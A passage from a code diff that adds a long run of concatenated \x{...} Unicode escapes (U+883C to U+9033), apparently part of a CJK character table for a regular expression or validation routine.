+'\x{883C}\x{883D}\x{883E}\x{883F}\x{8840}\x{8841}\x{8842}\x{8843}\x{8844}' .
+'\x{8845}\x{8846}\x{8848}\x{8849}\x{884A}\x{884B}\x{884C}\x{884D}\x{884E}' .
+'\x{884F}\x{8850}\x{8851}\x{8852}\x{8853}\x{8854}\x{8855}\x{8856}\x{8857}' .
+'\x{8859}\x{885A}\x{885B}\x{885D}\x{885E}\x{8860}\x{8861}\x{8862}\x{8863}' .
+'\x{8864}\x{8865}\x{8866}\x{8867}\x{8868}\x{8869}\x{886A}\x{886B}\x{886C}' .
+'\x{886D}\x{886E}\x{886F}\x{8870}\x{8871}\x{8872}\x{8873}\x{8874}\x{8875}' .
+'\x{8876}\x{8877}\x{8878}\x{8879}\x{887B}\x{887C}\x{887D}\x{887E}\x{887F}' .
+'\x{8880}\x{8881}\x{8882}\x{8883}\x{8884}\x{8885}\x{8886}\x{8887}\x{8888}' .
+'\x{8889}\x{888A}\x{888B}\x{888C}\x{888D}\x{888E}\x{888F}\x{8890}\x{8891}' .
+'\x{8892}\x{8893}\x{8894}\x{8895}\x{8896}\x{8897}\x{8898}\x{8899}\x{889A}' .
+'\x{889B}\x{889C}\x{889D}\x{889E}\x{889F}\x{88A0}\x{88A1}\x{88A2}\x{88A3}' .
+'\x{88A4}\x{88A5}\x{88A6}\x{88A7}\x{88A8}\x{88A9}\x{88AA}\x{88AB}\x{88AC}' .
+'\x{88AD}\x{88AE}\x{88AF}\x{88B0}\x{88B1}\x{88B2}\x{88B3}\x{88B4}\x{88B6}' .
+'\x{88B7}\x{88B8}\x{88B9}\x{88BA}\x{88BB}\x{88BC}\x{88BD}\x{88BE}\x{88BF}' .
+'\x{88C0}\x{88C1}\x{88C2}\x{88C3}\x{88C4}\x{88C5}\x{88C6}\x{88C7}\x{88C8}' .
+'\x{88C9}\x{88CA}\x{88CB}\x{88CC}\x{88CD}\x{88CE}\x{88CF}\x{88D0}\x{88D1}' .
+'\x{88D2}\x{88D3}\x{88D4}\x{88D5}\x{88D6}\x{88D7}\x{88D8}\x{88D9}\x{88DA}' .
+'\x{88DB}\x{88DC}\x{88DD}\x{88DE}\x{88DF}\x{88E0}\x{88E1}\x{88E2}\x{88E3}' .
+'\x{88E4}\x{88E5}\x{88E7}\x{88E8}\x{88EA}\x{88EB}\x{88EC}\x{88EE}\x{88EF}' .
+'\x{88F0}\x{88F1}\x{88F2}\x{88F3}\x{88F4}\x{88F5}\x{88F6}\x{88F7}\x{88F8}' .
+'\x{88F9}\x{88FA}\x{88FB}\x{88FC}\x{88FD}\x{88FE}\x{88FF}\x{8900}\x{8901}' .
+'\x{8902}\x{8904}\x{8905}\x{8906}\x{8907}\x{8908}\x{8909}\x{890A}\x{890B}' .
+'\x{890C}\x{890D}\x{890E}\x{8910}\x{8911}\x{8912}\x{8913}\x{8914}\x{8915}' .
+'\x{8916}\x{8917}\x{8918}\x{8919}\x{891A}\x{891B}\x{891C}\x{891D}\x{891E}' .
+'\x{891F}\x{8920}\x{8921}\x{8922}\x{8923}\x{8925}\x{8926}\x{8927}\x{8928}' .
+'\x{8929}\x{892A}\x{892B}\x{892C}\x{892D}\x{892E}\x{892F}\x{8930}\x{8931}' .
+'\x{8932}\x{8933}\x{8934}\x{8935}\x{8936}\x{8937}\x{8938}\x{8939}\x{893A}' .
+'\x{893B}\x{893C}\x{893D}\x{893E}\x{893F}\x{8940}\x{8941}\x{8942}\x{8943}' .
+'\x{8944}\x{8945}\x{8946}\x{8947}\x{8948}\x{8949}\x{894A}\x{894B}\x{894C}' .
+'\x{894E}\x{894F}\x{8950}\x{8951}\x{8952}\x{8953}\x{8954}\x{8955}\x{8956}' .
+'\x{8957}\x{8958}\x{8959}\x{895A}\x{895B}\x{895C}\x{895D}\x{895E}\x{895F}' .
+'\x{8960}\x{8961}\x{8962}\x{8963}\x{8964}\x{8966}\x{8967}\x{8968}\x{8969}' .
+'\x{896A}\x{896B}\x{896C}\x{896D}\x{896E}\x{896F}\x{8970}\x{8971}\x{8972}' .
+'\x{8973}\x{8974}\x{8976}\x{8977}\x{8978}\x{8979}\x{897A}\x{897B}\x{897C}' .
+'\x{897E}\x{897F}\x{8980}\x{8981}\x{8982}\x{8983}\x{8984}\x{8985}\x{8986}' .
+'\x{8987}\x{8988}\x{8989}\x{898A}\x{898B}\x{898C}\x{898E}\x{898F}\x{8991}' .
+'\x{8992}\x{8993}\x{8995}\x{8996}\x{8997}\x{8998}\x{899A}\x{899B}\x{899C}' .
+'\x{899D}\x{899E}\x{899F}\x{89A0}\x{89A1}\x{89A2}\x{89A3}\x{89A4}\x{89A5}' .
+'\x{89A6}\x{89A7}\x{89A8}\x{89AA}\x{89AB}\x{89AC}\x{89AD}\x{89AE}\x{89AF}' .
+'\x{89B1}\x{89B2}\x{89B3}\x{89B5}\x{89B6}\x{89B7}\x{89B8}\x{89B9}\x{89BA}' .
+'\x{89BD}\x{89BE}\x{89BF}\x{89C0}\x{89C1}\x{89C2}\x{89C3}\x{89C4}\x{89C5}' .
+'\x{89C6}\x{89C7}\x{89C8}\x{89C9}\x{89CA}\x{89CB}\x{89CC}\x{89CD}\x{89CE}' .
+'\x{89CF}\x{89D0}\x{89D1}\x{89D2}\x{89D3}\x{89D4}\x{89D5}\x{89D6}\x{89D7}' .
+'\x{89D8}\x{89D9}\x{89DA}\x{89DB}\x{89DC}\x{89DD}\x{89DE}\x{89DF}\x{89E0}' .
+'\x{89E1}\x{89E2}\x{89E3}\x{89E4}\x{89E5}\x{89E6}\x{89E7}\x{89E8}\x{89E9}' .
+'\x{89EA}\x{89EB}\x{89EC}\x{89ED}\x{89EF}\x{89F0}\x{89F1}\x{89F2}\x{89F3}' .
+'\x{89F4}\x{89F6}\x{89F7}\x{89F8}\x{89FA}\x{89FB}\x{89FC}\x{89FE}\x{89FF}' .
+'\x{8A00}\x{8A01}\x{8A02}\x{8A03}\x{8A04}\x{8A07}\x{8A08}\x{8A09}\x{8A0A}' .
+'\x{8A0B}\x{8A0C}\x{8A0D}\x{8A0E}\x{8A0F}\x{8A10}\x{8A11}\x{8A12}\x{8A13}' .
+'\x{8A15}\x{8A16}\x{8A17}\x{8A18}\x{8A1A}\x{8A1B}\x{8A1C}\x{8A1D}\x{8A1E}' .
+'\x{8A1F}\x{8A22}\x{8A23}\x{8A24}\x{8A25}\x{8A26}\x{8A27}\x{8A28}\x{8A29}' .
+'\x{8A2A}\x{8A2C}\x{8A2D}\x{8A2E}\x{8A2F}\x{8A30}\x{8A31}\x{8A32}\x{8A34}' .
+'\x{8A35}\x{8A36}\x{8A37}\x{8A38}\x{8A39}\x{8A3A}\x{8A3B}\x{8A3C}\x{8A3E}' .
+'\x{8A3F}\x{8A40}\x{8A41}\x{8A42}\x{8A43}\x{8A44}\x{8A45}\x{8A46}\x{8A47}' .
+'\x{8A48}\x{8A49}\x{8A4A}\x{8A4C}\x{8A4D}\x{8A4E}\x{8A4F}\x{8A50}\x{8A51}' .
+'\x{8A52}\x{8A53}\x{8A54}\x{8A55}\x{8A56}\x{8A57}\x{8A58}\x{8A59}\x{8A5A}' .
+'\x{8A5B}\x{8A5C}\x{8A5D}\x{8A5E}\x{8A5F}\x{8A60}\x{8A61}\x{8A62}\x{8A63}' .
+'\x{8A65}\x{8A66}\x{8A67}\x{8A68}\x{8A69}\x{8A6A}\x{8A6B}\x{8A6C}\x{8A6D}' .
+'\x{8A6E}\x{8A6F}\x{8A70}\x{8A71}\x{8A72}\x{8A73}\x{8A74}\x{8A75}\x{8A76}' .
+'\x{8A77}\x{8A79}\x{8A7A}\x{8A7B}\x{8A7C}\x{8A7E}\x{8A7F}\x{8A80}\x{8A81}' .
+'\x{8A82}\x{8A83}\x{8A84}\x{8A85}\x{8A86}\x{8A87}\x{8A89}\x{8A8A}\x{8A8B}' .
+'\x{8A8C}\x{8A8D}\x{8A8E}\x{8A8F}\x{8A90}\x{8A91}\x{8A92}\x{8A93}\x{8A94}' .
+'\x{8A95}\x{8A96}\x{8A97}\x{8A98}\x{8A99}\x{8A9A}\x{8A9B}\x{8A9C}\x{8A9D}' .
+'\x{8A9E}\x{8AA0}\x{8AA1}\x{8AA2}\x{8AA3}\x{8AA4}\x{8AA5}\x{8AA6}\x{8AA7}' .
+'\x{8AA8}\x{8AA9}\x{8AAA}\x{8AAB}\x{8AAC}\x{8AAE}\x{8AB0}\x{8AB1}\x{8AB2}' .
+'\x{8AB3}\x{8AB4}\x{8AB5}\x{8AB6}\x{8AB8}\x{8AB9}\x{8ABA}\x{8ABB}\x{8ABC}' .
+'\x{8ABD}\x{8ABE}\x{8ABF}\x{8AC0}\x{8AC1}\x{8AC2}\x{8AC3}\x{8AC4}\x{8AC5}' .
+'\x{8AC6}\x{8AC7}\x{8AC8}\x{8AC9}\x{8ACA}\x{8ACB}\x{8ACC}\x{8ACD}\x{8ACE}' .
+'\x{8ACF}\x{8AD1}\x{8AD2}\x{8AD3}\x{8AD4}\x{8AD5}\x{8AD6}\x{8AD7}\x{8AD8}' .
+'\x{8AD9}\x{8ADA}\x{8ADB}\x{8ADC}\x{8ADD}\x{8ADE}\x{8ADF}\x{8AE0}\x{8AE1}' .
+'\x{8AE2}\x{8AE3}\x{8AE4}\x{8AE5}\x{8AE6}\x{8AE7}\x{8AE8}\x{8AE9}\x{8AEA}' .
+'\x{8AEB}\x{8AED}\x{8AEE}\x{8AEF}\x{8AF0}\x{8AF1}\x{8AF2}\x{8AF3}\x{8AF4}' .
+'\x{8AF5}\x{8AF6}\x{8AF7}\x{8AF8}\x{8AF9}\x{8AFA}\x{8AFB}\x{8AFC}\x{8AFD}' .
+'\x{8AFE}\x{8AFF}\x{8B00}\x{8B01}\x{8B02}\x{8B03}\x{8B04}\x{8B05}\x{8B06}' .
+'\x{8B07}\x{8B08}\x{8B09}\x{8B0A}\x{8B0B}\x{8B0D}\x{8B0E}\x{8B0F}\x{8B10}' .
+'\x{8B11}\x{8B12}\x{8B13}\x{8B14}\x{8B15}\x{8B16}\x{8B17}\x{8B18}\x{8B19}' .
+'\x{8B1A}\x{8B1B}\x{8B1C}\x{8B1D}\x{8B1E}\x{8B1F}\x{8B20}\x{8B21}\x{8B22}' .
+'\x{8B23}\x{8B24}\x{8B25}\x{8B26}\x{8B27}\x{8B28}\x{8B2A}\x{8B2B}\x{8B2C}' .
+'\x{8B2D}\x{8B2E}\x{8B2F}\x{8B30}\x{8B31}\x{8B33}\x{8B34}\x{8B35}\x{8B36}' .
+'\x{8B37}\x{8B39}\x{8B3A}\x{8B3B}\x{8B3C}\x{8B3D}\x{8B3E}\x{8B40}\x{8B41}' .
+'\x{8B42}\x{8B43}\x{8B44}\x{8B45}\x{8B46}\x{8B47}\x{8B48}\x{8B49}\x{8B4A}' .
+'\x{8B4B}\x{8B4C}\x{8B4D}\x{8B4E}\x{8B4F}\x{8B50}\x{8B51}\x{8B52}\x{8B53}' .
+'\x{8B54}\x{8B55}\x{8B56}\x{8B57}\x{8B58}\x{8B59}\x{8B5A}\x{8B5B}\x{8B5C}' .
+'\x{8B5D}\x{8B5E}\x{8B5F}\x{8B60}\x{8B63}\x{8B64}\x{8B65}\x{8B66}\x{8B67}' .
+'\x{8B68}\x{8B6A}\x{8B6B}\x{8B6C}\x{8B6D}\x{8B6E}\x{8B6F}\x{8B70}\x{8B71}' .
+'\x{8B73}\x{8B74}\x{8B76}\x{8B77}\x{8B78}\x{8B79}\x{8B7A}\x{8B7B}\x{8B7D}' .
+'\x{8B7E}\x{8B7F}\x{8B80}\x{8B82}\x{8B83}\x{8B84}\x{8B85}\x{8B86}\x{8B88}' .
+'\x{8B89}\x{8B8A}\x{8B8B}\x{8B8C}\x{8B8E}\x{8B90}\x{8B91}\x{8B92}\x{8B93}' .
+'\x{8B94}\x{8B95}\x{8B96}\x{8B97}\x{8B98}\x{8B99}\x{8B9A}\x{8B9C}\x{8B9D}' .
+'\x{8B9E}\x{8B9F}\x{8BA0}\x{8BA1}\x{8BA2}\x{8BA3}\x{8BA4}\x{8BA5}\x{8BA6}' .
+'\x{8BA7}\x{8BA8}\x{8BA9}\x{8BAA}\x{8BAB}\x{8BAC}\x{8BAD}\x{8BAE}\x{8BAF}' .
+'\x{8BB0}\x{8BB1}\x{8BB2}\x{8BB3}\x{8BB4}\x{8BB5}\x{8BB6}\x{8BB7}\x{8BB8}' .
+'\x{8BB9}\x{8BBA}\x{8BBB}\x{8BBC}\x{8BBD}\x{8BBE}\x{8BBF}\x{8BC0}\x{8BC1}' .
+'\x{8BC2}\x{8BC3}\x{8BC4}\x{8BC5}\x{8BC6}\x{8BC7}\x{8BC8}\x{8BC9}\x{8BCA}' .
+'\x{8BCB}\x{8BCC}\x{8BCD}\x{8BCE}\x{8BCF}\x{8BD0}\x{8BD1}\x{8BD2}\x{8BD3}' .
+'\x{8BD4}\x{8BD5}\x{8BD6}\x{8BD7}\x{8BD8}\x{8BD9}\x{8BDA}\x{8BDB}\x{8BDC}' .
+'\x{8BDD}\x{8BDE}\x{8BDF}\x{8BE0}\x{8BE1}\x{8BE2}\x{8BE3}\x{8BE4}\x{8BE5}' .
+'\x{8BE6}\x{8BE7}\x{8BE8}\x{8BE9}\x{8BEA}\x{8BEB}\x{8BEC}\x{8BED}\x{8BEE}' .
+'\x{8BEF}\x{8BF0}\x{8BF1}\x{8BF2}\x{8BF3}\x{8BF4}\x{8BF5}\x{8BF6}\x{8BF7}' .
+'\x{8BF8}\x{8BF9}\x{8BFA}\x{8BFB}\x{8BFC}\x{8BFD}\x{8BFE}\x{8BFF}\x{8C00}' .
+'\x{8C01}\x{8C02}\x{8C03}\x{8C04}\x{8C05}\x{8C06}\x{8C07}\x{8C08}\x{8C09}' .
+'\x{8C0A}\x{8C0B}\x{8C0C}\x{8C0D}\x{8C0E}\x{8C0F}\x{8C10}\x{8C11}\x{8C12}' .
+'\x{8C13}\x{8C14}\x{8C15}\x{8C16}\x{8C17}\x{8C18}\x{8C19}\x{8C1A}\x{8C1B}' .
+'\x{8C1C}\x{8C1D}\x{8C1E}\x{8C1F}\x{8C20}\x{8C21}\x{8C22}\x{8C23}\x{8C24}' .
+'\x{8C25}\x{8C26}\x{8C27}\x{8C28}\x{8C29}\x{8C2A}\x{8C2B}\x{8C2C}\x{8C2D}' .
+'\x{8C2E}\x{8C2F}\x{8C30}\x{8C31}\x{8C32}\x{8C33}\x{8C34}\x{8C35}\x{8C36}' .
+'\x{8C37}\x{8C39}\x{8C3A}\x{8C3B}\x{8C3C}\x{8C3D}\x{8C3E}\x{8C3F}\x{8C41}' .
+'\x{8C42}\x{8C43}\x{8C45}\x{8C46}\x{8C47}\x{8C48}\x{8C49}\x{8C4A}\x{8C4B}' .
+'\x{8C4C}\x{8C4D}\x{8C4E}\x{8C4F}\x{8C50}\x{8C54}\x{8C55}\x{8C56}\x{8C57}' .
+'\x{8C59}\x{8C5A}\x{8C5B}\x{8C5C}\x{8C5D}\x{8C5E}\x{8C5F}\x{8C60}\x{8C61}' .
+'\x{8C62}\x{8C63}\x{8C64}\x{8C65}\x{8C66}\x{8C67}\x{8C68}\x{8C69}\x{8C6A}' .
+'\x{8C6B}\x{8C6C}\x{8C6D}\x{8C6E}\x{8C6F}\x{8C70}\x{8C71}\x{8C72}\x{8C73}' .
+'\x{8C75}\x{8C76}\x{8C77}\x{8C78}\x{8C79}\x{8C7A}\x{8C7B}\x{8C7D}\x{8C7E}' .
+'\x{8C80}\x{8C81}\x{8C82}\x{8C84}\x{8C85}\x{8C86}\x{8C88}\x{8C89}\x{8C8A}' .
+'\x{8C8C}\x{8C8D}\x{8C8F}\x{8C90}\x{8C91}\x{8C92}\x{8C93}\x{8C94}\x{8C95}' .
+'\x{8C96}\x{8C97}\x{8C98}\x{8C99}\x{8C9A}\x{8C9C}\x{8C9D}\x{8C9E}\x{8C9F}' .
+'\x{8CA0}\x{8CA1}\x{8CA2}\x{8CA3}\x{8CA4}\x{8CA5}\x{8CA7}\x{8CA8}\x{8CA9}' .
+'\x{8CAA}\x{8CAB}\x{8CAC}\x{8CAD}\x{8CAE}\x{8CAF}\x{8CB0}\x{8CB1}\x{8CB2}' .
+'\x{8CB3}\x{8CB4}\x{8CB5}\x{8CB6}\x{8CB7}\x{8CB8}\x{8CB9}\x{8CBA}\x{8CBB}' .
+'\x{8CBC}\x{8CBD}\x{8CBE}\x{8CBF}\x{8CC0}\x{8CC1}\x{8CC2}\x{8CC3}\x{8CC4}' .
+'\x{8CC5}\x{8CC6}\x{8CC7}\x{8CC8}\x{8CC9}\x{8CCA}\x{8CCC}\x{8CCE}\x{8CCF}' .
+'\x{8CD0}\x{8CD1}\x{8CD2}\x{8CD3}\x{8CD4}\x{8CD5}\x{8CD7}\x{8CD9}\x{8CDA}' .
+'\x{8CDB}\x{8CDC}\x{8CDD}\x{8CDE}\x{8CDF}\x{8CE0}\x{8CE1}\x{8CE2}\x{8CE3}' .
+'\x{8CE4}\x{8CE5}\x{8CE6}\x{8CE7}\x{8CE8}\x{8CEA}\x{8CEB}\x{8CEC}\x{8CED}' .
+'\x{8CEE}\x{8CEF}\x{8CF0}\x{8CF1}\x{8CF2}\x{8CF3}\x{8CF4}\x{8CF5}\x{8CF6}' .
+'\x{8CF8}\x{8CF9}\x{8CFA}\x{8CFB}\x{8CFC}\x{8CFD}\x{8CFE}\x{8CFF}\x{8D00}' .
+'\x{8D02}\x{8D03}\x{8D04}\x{8D05}\x{8D06}\x{8D07}\x{8D08}\x{8D09}\x{8D0A}' .
+'\x{8D0B}\x{8D0C}\x{8D0D}\x{8D0E}\x{8D0F}\x{8D10}\x{8D13}\x{8D14}\x{8D15}' .
+'\x{8D16}\x{8D17}\x{8D18}\x{8D19}\x{8D1A}\x{8D1B}\x{8D1C}\x{8D1D}\x{8D1E}' .
+'\x{8D1F}\x{8D20}\x{8D21}\x{8D22}\x{8D23}\x{8D24}\x{8D25}\x{8D26}\x{8D27}' .
+'\x{8D28}\x{8D29}\x{8D2A}\x{8D2B}\x{8D2C}\x{8D2D}\x{8D2E}\x{8D2F}\x{8D30}' .
+'\x{8D31}\x{8D32}\x{8D33}\x{8D34}\x{8D35}\x{8D36}\x{8D37}\x{8D38}\x{8D39}' .
+'\x{8D3A}\x{8D3B}\x{8D3C}\x{8D3D}\x{8D3E}\x{8D3F}\x{8D40}\x{8D41}\x{8D42}' .
+'\x{8D43}\x{8D44}\x{8D45}\x{8D46}\x{8D47}\x{8D48}\x{8D49}\x{8D4A}\x{8D4B}' .
+'\x{8D4C}\x{8D4D}\x{8D4E}\x{8D4F}\x{8D50}\x{8D51}\x{8D52}\x{8D53}\x{8D54}' .
+'\x{8D55}\x{8D56}\x{8D57}\x{8D58}\x{8D59}\x{8D5A}\x{8D5B}\x{8D5C}\x{8D5D}' .
+'\x{8D5E}\x{8D5F}\x{8D60}\x{8D61}\x{8D62}\x{8D63}\x{8D64}\x{8D65}\x{8D66}' .
+'\x{8D67}\x{8D68}\x{8D69}\x{8D6A}\x{8D6B}\x{8D6C}\x{8D6D}\x{8D6E}\x{8D6F}' .
+'\x{8D70}\x{8D71}\x{8D72}\x{8D73}\x{8D74}\x{8D75}\x{8D76}\x{8D77}\x{8D78}' .
+'\x{8D79}\x{8D7A}\x{8D7B}\x{8D7D}\x{8D7E}\x{8D7F}\x{8D80}\x{8D81}\x{8D82}' .
+'\x{8D83}\x{8D84}\x{8D85}\x{8D86}\x{8D87}\x{8D88}\x{8D89}\x{8D8A}\x{8D8B}' .
+'\x{8D8C}\x{8D8D}\x{8D8E}\x{8D8F}\x{8D90}\x{8D91}\x{8D92}\x{8D93}\x{8D94}' .
+'\x{8D95}\x{8D96}\x{8D97}\x{8D98}\x{8D99}\x{8D9A}\x{8D9B}\x{8D9C}\x{8D9D}' .
+'\x{8D9E}\x{8D9F}\x{8DA0}\x{8DA1}\x{8DA2}\x{8DA3}\x{8DA4}\x{8DA5}\x{8DA7}' .
+'\x{8DA8}\x{8DA9}\x{8DAA}\x{8DAB}\x{8DAC}\x{8DAD}\x{8DAE}\x{8DAF}\x{8DB0}' .
+'\x{8DB1}\x{8DB2}\x{8DB3}\x{8DB4}\x{8DB5}\x{8DB6}\x{8DB7}\x{8DB8}\x{8DB9}' .
+'\x{8DBA}\x{8DBB}\x{8DBC}\x{8DBD}\x{8DBE}\x{8DBF}\x{8DC1}\x{8DC2}\x{8DC3}' .
+'\x{8DC4}\x{8DC5}\x{8DC6}\x{8DC7}\x{8DC8}\x{8DC9}\x{8DCA}\x{8DCB}\x{8DCC}' .
+'\x{8DCD}\x{8DCE}\x{8DCF}\x{8DD0}\x{8DD1}\x{8DD2}\x{8DD3}\x{8DD4}\x{8DD5}' .
+'\x{8DD6}\x{8DD7}\x{8DD8}\x{8DD9}\x{8DDA}\x{8DDB}\x{8DDC}\x{8DDD}\x{8DDE}' .
+'\x{8DDF}\x{8DE0}\x{8DE1}\x{8DE2}\x{8DE3}\x{8DE4}\x{8DE6}\x{8DE7}\x{8DE8}' .
+'\x{8DE9}\x{8DEA}\x{8DEB}\x{8DEC}\x{8DED}\x{8DEE}\x{8DEF}\x{8DF0}\x{8DF1}' .
+'\x{8DF2}\x{8DF3}\x{8DF4}\x{8DF5}\x{8DF6}\x{8DF7}\x{8DF8}\x{8DF9}\x{8DFA}' .
+'\x{8DFB}\x{8DFC}\x{8DFD}\x{8DFE}\x{8DFF}\x{8E00}\x{8E02}\x{8E03}\x{8E04}' .
+'\x{8E05}\x{8E06}\x{8E07}\x{8E08}\x{8E09}\x{8E0A}\x{8E0C}\x{8E0D}\x{8E0E}' .
+'\x{8E0F}\x{8E10}\x{8E11}\x{8E12}\x{8E13}\x{8E14}\x{8E15}\x{8E16}\x{8E17}' .
+'\x{8E18}\x{8E19}\x{8E1A}\x{8E1B}\x{8E1C}\x{8E1D}\x{8E1E}\x{8E1F}\x{8E20}' .
+'\x{8E21}\x{8E22}\x{8E23}\x{8E24}\x{8E25}\x{8E26}\x{8E27}\x{8E28}\x{8E29}' .
+'\x{8E2A}\x{8E2B}\x{8E2C}\x{8E2D}\x{8E2E}\x{8E2F}\x{8E30}\x{8E31}\x{8E33}' .
+'\x{8E34}\x{8E35}\x{8E36}\x{8E37}\x{8E38}\x{8E39}\x{8E3A}\x{8E3B}\x{8E3C}' .
+'\x{8E3D}\x{8E3E}\x{8E3F}\x{8E40}\x{8E41}\x{8E42}\x{8E43}\x{8E44}\x{8E45}' .
+'\x{8E47}\x{8E48}\x{8E49}\x{8E4A}\x{8E4B}\x{8E4C}\x{8E4D}\x{8E4E}\x{8E50}' .
+'\x{8E51}\x{8E52}\x{8E53}\x{8E54}\x{8E55}\x{8E56}\x{8E57}\x{8E58}\x{8E59}' .
+'\x{8E5A}\x{8E5B}\x{8E5C}\x{8E5D}\x{8E5E}\x{8E5F}\x{8E60}\x{8E61}\x{8E62}' .
+'\x{8E63}\x{8E64}\x{8E65}\x{8E66}\x{8E67}\x{8E68}\x{8E69}\x{8E6A}\x{8E6B}' .
+'\x{8E6C}\x{8E6D}\x{8E6F}\x{8E70}\x{8E71}\x{8E72}\x{8E73}\x{8E74}\x{8E76}' .
+'\x{8E78}\x{8E7A}\x{8E7B}\x{8E7C}\x{8E7D}\x{8E7E}\x{8E7F}\x{8E80}\x{8E81}' .
+'\x{8E82}\x{8E83}\x{8E84}\x{8E85}\x{8E86}\x{8E87}\x{8E88}\x{8E89}\x{8E8A}' .
+'\x{8E8B}\x{8E8C}\x{8E8D}\x{8E8E}\x{8E8F}\x{8E90}\x{8E91}\x{8E92}\x{8E93}' .
+'\x{8E94}\x{8E95}\x{8E96}\x{8E97}\x{8E98}\x{8E9A}\x{8E9C}\x{8E9D}\x{8E9E}' .
+'\x{8E9F}\x{8EA0}\x{8EA1}\x{8EA3}\x{8EA4}\x{8EA5}\x{8EA6}\x{8EA7}\x{8EA8}' .
+'\x{8EA9}\x{8EAA}\x{8EAB}\x{8EAC}\x{8EAD}\x{8EAE}\x{8EAF}\x{8EB0}\x{8EB1}' .
+'\x{8EB2}\x{8EB4}\x{8EB5}\x{8EB8}\x{8EB9}\x{8EBA}\x{8EBB}\x{8EBC}\x{8EBD}' .
+'\x{8EBE}\x{8EBF}\x{8EC0}\x{8EC2}\x{8EC3}\x{8EC5}\x{8EC6}\x{8EC7}\x{8EC8}' .
+'\x{8EC9}\x{8ECA}\x{8ECB}\x{8ECC}\x{8ECD}\x{8ECE}\x{8ECF}\x{8ED0}\x{8ED1}' .
+'\x{8ED2}\x{8ED3}\x{8ED4}\x{8ED5}\x{8ED6}\x{8ED7}\x{8ED8}\x{8EDA}\x{8EDB}' .
+'\x{8EDC}\x{8EDD}\x{8EDE}\x{8EDF}\x{8EE0}\x{8EE1}\x{8EE4}\x{8EE5}\x{8EE6}' .
+'\x{8EE7}\x{8EE8}\x{8EE9}\x{8EEA}\x{8EEB}\x{8EEC}\x{8EED}\x{8EEE}\x{8EEF}' .
+'\x{8EF1}\x{8EF2}\x{8EF3}\x{8EF4}\x{8EF5}\x{8EF6}\x{8EF7}\x{8EF8}\x{8EF9}' .
+'\x{8EFA}\x{8EFB}\x{8EFC}\x{8EFD}\x{8EFE}\x{8EFF}\x{8F00}\x{8F01}\x{8F02}' .
+'\x{8F03}\x{8F04}\x{8F05}\x{8F06}\x{8F07}\x{8F08}\x{8F09}\x{8F0A}\x{8F0B}' .
+'\x{8F0D}\x{8F0E}\x{8F10}\x{8F11}\x{8F12}\x{8F13}\x{8F14}\x{8F15}\x{8F16}' .
+'\x{8F17}\x{8F18}\x{8F1A}\x{8F1B}\x{8F1C}\x{8F1D}\x{8F1E}\x{8F1F}\x{8F20}' .
+'\x{8F21}\x{8F22}\x{8F23}\x{8F24}\x{8F25}\x{8F26}\x{8F27}\x{8F28}\x{8F29}' .
+'\x{8F2A}\x{8F2B}\x{8F2C}\x{8F2E}\x{8F2F}\x{8F30}\x{8F31}\x{8F32}\x{8F33}' .
+'\x{8F34}\x{8F35}\x{8F36}\x{8F37}\x{8F38}\x{8F39}\x{8F3B}\x{8F3C}\x{8F3D}' .
+'\x{8F3E}\x{8F3F}\x{8F40}\x{8F42}\x{8F43}\x{8F44}\x{8F45}\x{8F46}\x{8F47}' .
+'\x{8F48}\x{8F49}\x{8F4A}\x{8F4B}\x{8F4C}\x{8F4D}\x{8F4E}\x{8F4F}\x{8F50}' .
+'\x{8F51}\x{8F52}\x{8F53}\x{8F54}\x{8F55}\x{8F56}\x{8F57}\x{8F58}\x{8F59}' .
+'\x{8F5A}\x{8F5B}\x{8F5D}\x{8F5E}\x{8F5F}\x{8F60}\x{8F61}\x{8F62}\x{8F63}' .
+'\x{8F64}\x{8F65}\x{8F66}\x{8F67}\x{8F68}\x{8F69}\x{8F6A}\x{8F6B}\x{8F6C}' .
+'\x{8F6D}\x{8F6E}\x{8F6F}\x{8F70}\x{8F71}\x{8F72}\x{8F73}\x{8F74}\x{8F75}' .
+'\x{8F76}\x{8F77}\x{8F78}\x{8F79}\x{8F7A}\x{8F7B}\x{8F7C}\x{8F7D}\x{8F7E}' .
+'\x{8F7F}\x{8F80}\x{8F81}\x{8F82}\x{8F83}\x{8F84}\x{8F85}\x{8F86}\x{8F87}' .
+'\x{8F88}\x{8F89}\x{8F8A}\x{8F8B}\x{8F8C}\x{8F8D}\x{8F8E}\x{8F8F}\x{8F90}' .
+'\x{8F91}\x{8F92}\x{8F93}\x{8F94}\x{8F95}\x{8F96}\x{8F97}\x{8F98}\x{8F99}' .
+'\x{8F9A}\x{8F9B}\x{8F9C}\x{8F9E}\x{8F9F}\x{8FA0}\x{8FA1}\x{8FA2}\x{8FA3}' .
+'\x{8FA5}\x{8FA6}\x{8FA7}\x{8FA8}\x{8FA9}\x{8FAA}\x{8FAB}\x{8FAC}\x{8FAD}' .
+'\x{8FAE}\x{8FAF}\x{8FB0}\x{8FB1}\x{8FB2}\x{8FB4}\x{8FB5}\x{8FB6}\x{8FB7}' .
+'\x{8FB8}\x{8FB9}\x{8FBB}\x{8FBC}\x{8FBD}\x{8FBE}\x{8FBF}\x{8FC0}\x{8FC1}' .
+'\x{8FC2}\x{8FC4}\x{8FC5}\x{8FC6}\x{8FC7}\x{8FC8}\x{8FC9}\x{8FCB}\x{8FCC}' .
+'\x{8FCD}\x{8FCE}\x{8FCF}\x{8FD0}\x{8FD1}\x{8FD2}\x{8FD3}\x{8FD4}\x{8FD5}' .
+'\x{8FD6}\x{8FD7}\x{8FD8}\x{8FD9}\x{8FDA}\x{8FDB}\x{8FDC}\x{8FDD}\x{8FDE}' .
+'\x{8FDF}\x{8FE0}\x{8FE1}\x{8FE2}\x{8FE3}\x{8FE4}\x{8FE5}\x{8FE6}\x{8FE8}' .
+'\x{8FE9}\x{8FEA}\x{8FEB}\x{8FEC}\x{8FED}\x{8FEE}\x{8FEF}\x{8FF0}\x{8FF1}' .
+'\x{8FF2}\x{8FF3}\x{8FF4}\x{8FF5}\x{8FF6}\x{8FF7}\x{8FF8}\x{8FF9}\x{8FFA}' .
+'\x{8FFB}\x{8FFC}\x{8FFD}\x{8FFE}\x{8FFF}\x{9000}\x{9001}\x{9002}\x{9003}' .
+'\x{9004}\x{9005}\x{9006}\x{9007}\x{9008}\x{9009}\x{900A}\x{900B}\x{900C}' .
+'\x{900D}\x{900F}\x{9010}\x{9011}\x{9012}\x{9013}\x{9014}\x{9015}\x{9016}' .
+'\x{9017}\x{9018}\x{9019}\x{901A}\x{901B}\x{901C}\x{901D}\x{901E}\x{901F}' .
+'\x{9020}\x{9021}\x{9022}\x{9023}\x{9024}\x{9025}\x{9026}\x{9027}\x{9028}' .
+'\x{9029}\x{902B}\x{902D}\x{902E}\x{902F}\x{9030}\x{9031}\x{9032}\x{9033}' .
